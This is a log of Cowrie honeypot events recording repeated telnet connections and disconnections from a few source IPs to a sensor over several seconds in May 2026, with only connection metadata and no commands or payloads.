{"eventid":"cowrie.session.closed","duration":30.888169527053833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:48.630250Z","src_ip":"104.167.8.156","session":"86d7c7e4be1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51982,"dst_ip":"10.17.0.5","dst_port":23,"session":"caa3e42d35a7","protocol":"telnet","message":"New connection: 104.167.8.156:51982 (10.17.0.5:23) [session: caa3e42d35a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:48.643812Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52856,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7c278cffbdc","protocol":"telnet","message":"New connection: 104.167.8.156:52856 (10.17.0.5:23) [session: f7c278cffbdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:48.912124Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49430,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c19d2897433","protocol":"telnet","message":"New connection: 188.208.141.113:49430 (10.17.0.5:23) [session: 6c19d2897433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:49.023477Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":48092,"dst_ip":"10.17.0.5","dst_port":23,"session":"d053df1fe280","protocol":"telnet","message":"New connection: 108.61.251.217:48092 (10.17.0.5:23) [session: d053df1fe280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:49.078048Z"}
{"eventid":"cowrie.session.closed","duration":31.073039054870605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:49.112602Z","src_ip":"108.61.251.217","session":"2af135176241","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.36963152885437,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:49.123824Z","src_ip":"64.227.9.242","session":"d8847b2a1ea3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89722490310669,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:49.161755Z","src_ip":"104.167.8.156","session":"1baaee8b6773","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.592944860458374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:49.172634Z","src_ip":"104.167.8.156","session":"b655705fbac7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53802,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f0ec0f40e84","protocol":"telnet","message":"New connection: 104.167.8.156:53802 (10.17.0.5:23) [session: 0f0ec0f40e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:49.189266Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53900,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c1fea11abc9","protocol":"telnet","message":"New connection: 104.167.8.156:53900 (10.17.0.5:23) [session: 2c1fea11abc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:49.212623Z"}
{"eventid":"cowrie.session.closed","duration":30.307663917541504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:49.218390Z","src_ip":"104.167.8.156","session":"3cfd1d193fb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.273996829986572,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:49.282138Z","src_ip":"104.167.8.156","session":"e73eac36ca0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.420427799224854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:49.302743Z","src_ip":"104.167.8.156","session":"f5c59ff1dde5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.68679165840149,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:49.334262Z","src_ip":"188.208.141.113","session":"47ff6bd1c993","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54456,"dst_ip":"10.17.0.5","dst_port":23,"session":"00280480f5af","protocol":"telnet","message":"New connection: 104.167.8.156:54456 (10.17.0.5:23) [session: 00280480f5af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:49.360039Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55548,"dst_ip":"10.17.0.5","dst_port":23,"session":"b98ea7e1998b","protocol":"telnet","message":"New connection: 104.167.8.156:55548 (10.17.0.5:23) [session: b98ea7e1998b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:49.677876Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44934,"dst_ip":"10.17.0.5","dst_port":23,"session":"387b2de955ac","protocol":"telnet","message":"New connection: 104.167.8.156:44934 (10.17.0.5:23) [session: 387b2de955ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:49.688280Z"}
{"eventid":"cowrie.session.closed","duration":31.050721168518066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:49.899370Z","src_ip":"108.61.251.217","session":"a33a9d4fd38a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52832,"dst_ip":"10.17.0.5","dst_port":23,"session":"2706a487866e","protocol":"telnet","message":"New connection: 104.167.8.156:52832 (10.17.0.5:23) [session: 2706a487866e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:49.903709Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45914,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ada345420ea","protocol":"telnet","message":"New connection: 104.167.8.156:45914 (10.17.0.5:23) [session: 0ada345420ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:50.000900Z"}
{"eventid":"cowrie.session.closed","duration":30.392765045166016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:50.026112Z","src_ip":"104.167.8.156","session":"93d2d9395c20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57209,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebade5465487","protocol":"telnet","message":"New connection: 104.167.8.156:57209 (10.17.0.5:23) [session: ebade5465487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:50.162185Z"}
{"eventid":"cowrie.session.closed","duration":30.356269121170044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:50.188037Z","src_ip":"108.61.251.217","session":"fa36c123e262","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57642,"dst_ip":"10.17.0.5","dst_port":23,"session":"30fda66a7e3a","protocol":"telnet","message":"New connection: 104.167.8.156:57642 (10.17.0.5:23) [session: 30fda66a7e3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:50.296349Z"}
{"eventid":"cowrie.session.closed","duration":31.0407931804657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:50.358526Z","src_ip":"104.167.8.156","session":"f23f943f0722","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":39854,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c582aeaa95c","protocol":"telnet","message":"New connection: 98.70.41.28:39854 (159.203.135.109:23) [session: 4c582aeaa95c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:50.429137Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49352,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3e37db414f0","protocol":"telnet","message":"New connection: 104.167.8.156:49352 (10.17.0.5:23) [session: c3e37db414f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:51.004193Z"}
{"eventid":"cowrie.session.closed","duration":31.16781997680664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:51.034539Z","src_ip":"98.70.41.28","session":"393da1d3f553","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60632,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a6b8c126c52","protocol":"telnet","message":"New connection: 104.167.8.156:60632 (10.17.0.5:23) [session: 6a6b8c126c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:51.118991Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35872,"dst_ip":"10.17.0.5","dst_port":23,"session":"18b5bd00760a","protocol":"telnet","message":"New connection: 188.208.141.113:35872 (10.17.0.5:23) [session: 18b5bd00760a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:51.162124Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50126,"dst_ip":"10.17.0.5","dst_port":23,"session":"87c216b33df3","protocol":"telnet","message":"New connection: 104.167.8.156:50126 (10.17.0.5:23) [session: 87c216b33df3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:51.201112Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50200,"dst_ip":"10.17.0.5","dst_port":23,"session":"718e19ba1ae6","protocol":"telnet","message":"New connection: 104.167.8.156:50200 (10.17.0.5:23) [session: 718e19ba1ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:51.216556Z"}
{"eventid":"cowrie.session.closed","duration":30.939404010772705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:51.252445Z","src_ip":"104.167.8.156","session":"d29907c33c6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.393412590026855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:51.342813Z","src_ip":"98.70.41.28","session":"55295ccb4974","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":39842,"dst_ip":"159.203.135.109","dst_port":23,"session":"d24b63588611","protocol":"telnet","message":"New connection: 98.70.41.28:39842 (159.203.135.109:23) [session: d24b63588611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:51.412649Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33968,"dst_ip":"10.17.0.5","dst_port":23,"session":"f97c53e39690","protocol":"telnet","message":"New connection: 104.167.8.156:33968 (10.17.0.5:23) [session: f97c53e39690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:51.542791Z"}
{"eventid":"cowrie.session.closed","duration":30.812119483947754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:51.631869Z","src_ip":"108.61.251.217","session":"eb1632ae97c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.526808738708496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:51.663271Z","src_ip":"104.167.8.156","session":"9342d3763c7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.362012147903442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:51.669719Z","src_ip":"104.167.8.156","session":"ae622985b0cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34478,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1c9aa68d97b","protocol":"telnet","message":"New connection: 104.167.8.156:34478 (10.17.0.5:23) [session: c1c9aa68d97b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:51.692835Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":48120,"dst_ip":"10.17.0.5","dst_port":23,"session":"71398e1fc594","protocol":"telnet","message":"New connection: 108.61.251.217:48120 (10.17.0.5:23) [session: 71398e1fc594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:51.964555Z"}
{"eventid":"cowrie.session.closed","duration":31.31413698196411,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:52.003640Z","src_ip":"108.61.251.217","session":"09f02699ae40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.783265590667725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:52.125980Z","src_ip":"108.61.251.217","session":"af1cf0b76aea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":48134,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a732c04b79e","protocol":"telnet","message":"New connection: 108.61.251.217:48134 (10.17.0.5:23) [session: 4a732c04b79e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:52.188141Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":48148,"dst_ip":"10.17.0.5","dst_port":23,"session":"14cfde6c2cf0","protocol":"telnet","message":"New connection: 108.61.251.217:48148 (10.17.0.5:23) [session: 14cfde6c2cf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:52.193108Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":48164,"dst_ip":"10.17.0.5","dst_port":23,"session":"512ea8a3a7b2","protocol":"telnet","message":"New connection: 108.61.251.217:48164 (10.17.0.5:23) [session: 512ea8a3a7b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:52.272684Z"}
{"eventid":"cowrie.session.closed","duration":31.1322979927063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:52.320299Z","src_ip":"104.167.8.156","session":"0319b83e2a2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55092,"dst_ip":"10.17.0.5","dst_port":23,"session":"edc752aa2f4c","protocol":"telnet","message":"New connection: 104.167.8.156:55092 (10.17.0.5:23) [session: edc752aa2f4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:52.545031Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35884,"dst_ip":"10.17.0.5","dst_port":23,"session":"594e6ec7e57d","protocol":"telnet","message":"New connection: 188.208.141.113:35884 (10.17.0.5:23) [session: 594e6ec7e57d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:52.610100Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34270,"dst_ip":"10.17.0.5","dst_port":23,"session":"236ef226a04a","protocol":"telnet","message":"New connection: 104.167.8.156:34270 (10.17.0.5:23) [session: 236ef226a04a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:52.630771Z"}
{"eventid":"cowrie.session.closed","duration":31.151435136795044,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:52.695543Z","src_ip":"108.61.251.217","session":"ba22006957c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.956287145614624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:52.965177Z","src_ip":"104.167.8.156","session":"144578f8bbd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39374,"dst_ip":"10.17.0.5","dst_port":23,"session":"401a28252c65","protocol":"telnet","message":"New connection: 104.167.8.156:39374 (10.17.0.5:23) [session: 401a28252c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:53.004754Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39946,"dst_ip":"10.17.0.5","dst_port":23,"session":"353ab6369b4a","protocol":"telnet","message":"New connection: 104.167.8.156:39946 (10.17.0.5:23) [session: 353ab6369b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:53.115543Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40654,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee8284c5e116","protocol":"telnet","message":"New connection: 104.167.8.156:40654 (10.17.0.5:23) [session: ee8284c5e116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:53.277134Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":48184,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f6ef94c9056","protocol":"telnet","message":"New connection: 108.61.251.217:48184 (10.17.0.5:23) [session: 0f6ef94c9056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:53.458625Z"}
{"eventid":"cowrie.session.closed","duration":31.418619394302368,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:53.527764Z","src_ip":"104.167.8.156","session":"4bbf51ffcb0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":48198,"dst_ip":"10.17.0.5","dst_port":23,"session":"097f388027cb","protocol":"telnet","message":"New connection: 108.61.251.217:48198 (10.17.0.5:23) [session: 097f388027cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:53.540847Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":48212,"dst_ip":"10.17.0.5","dst_port":23,"session":"acc95410ff9d","protocol":"telnet","message":"New connection: 108.61.251.217:48212 (10.17.0.5:23) [session: acc95410ff9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:53.550885Z"}
{"eventid":"cowrie.session.closed","duration":31.487220764160156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:53.630673Z","src_ip":"104.167.8.156","session":"f97a3f319b7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42682,"dst_ip":"10.17.0.5","dst_port":23,"session":"bac254ad4cd8","protocol":"telnet","message":"New connection: 104.167.8.156:42682 (10.17.0.5:23) [session: bac254ad4cd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:53.776027Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43206,"dst_ip":"10.17.0.5","dst_port":23,"session":"878277c9ea9a","protocol":"telnet","message":"New connection: 104.167.8.156:43206 (10.17.0.5:23) [session: 878277c9ea9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:53.938493Z"}
{"eventid":"cowrie.session.closed","duration":31.810353994369507,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:53.948782Z","src_ip":"104.167.8.156","session":"393839c7b87d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39638,"dst_ip":"10.17.0.5","dst_port":23,"session":"fccd42cd6b46","protocol":"telnet","message":"New connection: 104.167.8.156:39638 (10.17.0.5:23) [session: fccd42cd6b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:54.054661Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43676,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3368cd68f8b","protocol":"telnet","message":"New connection: 104.167.8.156:43676 (10.17.0.5:23) [session: e3368cd68f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:54.077684Z"}
{"eventid":"cowrie.session.closed","duration":30.805217742919922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:54.134959Z","src_ip":"108.61.251.217","session":"f485f1500f42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.619863271713257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:54.140825Z","src_ip":"104.167.8.156","session":"48bf8d6dca62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07504391670227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:54.287018Z","src_ip":"104.167.8.156","session":"e531deb36d79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33690,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5a3bf841962","protocol":"telnet","message":"New connection: 104.167.8.156:33690 (10.17.0.5:23) [session: d5a3bf841962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:54.460981Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42066,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e4b3f038c83","protocol":"telnet","message":"New connection: 104.167.8.156:42066 (10.17.0.5:23) [session: 0e4b3f038c83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:54.626064Z"}
{"eventid":"cowrie.session.closed","duration":36.25216555595398,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:54.673812Z","src_ip":"188.208.141.113","session":"7c942e728699","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35890,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7f406fda1e0","protocol":"telnet","message":"New connection: 188.208.141.113:35890 (10.17.0.5:23) [session: b7f406fda1e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:54.781637Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":46462,"dst_ip":"10.17.0.5","dst_port":23,"session":"995f6f94f3ce","protocol":"telnet","message":"New connection: 104.167.8.156:46462 (10.17.0.5:23) [session: 995f6f94f3ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:54.815671Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":46506,"dst_ip":"10.17.0.5","dst_port":23,"session":"36343a7410e9","protocol":"telnet","message":"New connection: 104.167.8.156:46506 (10.17.0.5:23) [session: 36343a7410e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:54.822106Z"}
{"eventid":"cowrie.session.closed","duration":31.518698692321777,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:54.831728Z","src_ip":"104.167.8.156","session":"1ce3908be46b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":48218,"dst_ip":"10.17.0.5","dst_port":23,"session":"67a50c02b649","protocol":"telnet","message":"New connection: 108.61.251.217:48218 (10.17.0.5:23) [session: 67a50c02b649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:54.838006Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35892,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e00d1064ce3","protocol":"telnet","message":"New connection: 188.208.141.113:35892 (10.17.0.5:23) [session: 9e00d1064ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:54.841835Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47074,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bfe7d0cf05d","protocol":"telnet","message":"New connection: 104.167.8.156:47074 (10.17.0.5:23) [session: 1bfe7d0cf05d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:54.960727Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43434,"dst_ip":"10.17.0.5","dst_port":23,"session":"a47664adc5da","protocol":"telnet","message":"New connection: 104.167.8.156:43434 (10.17.0.5:23) [session: a47664adc5da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:55.022546Z"}
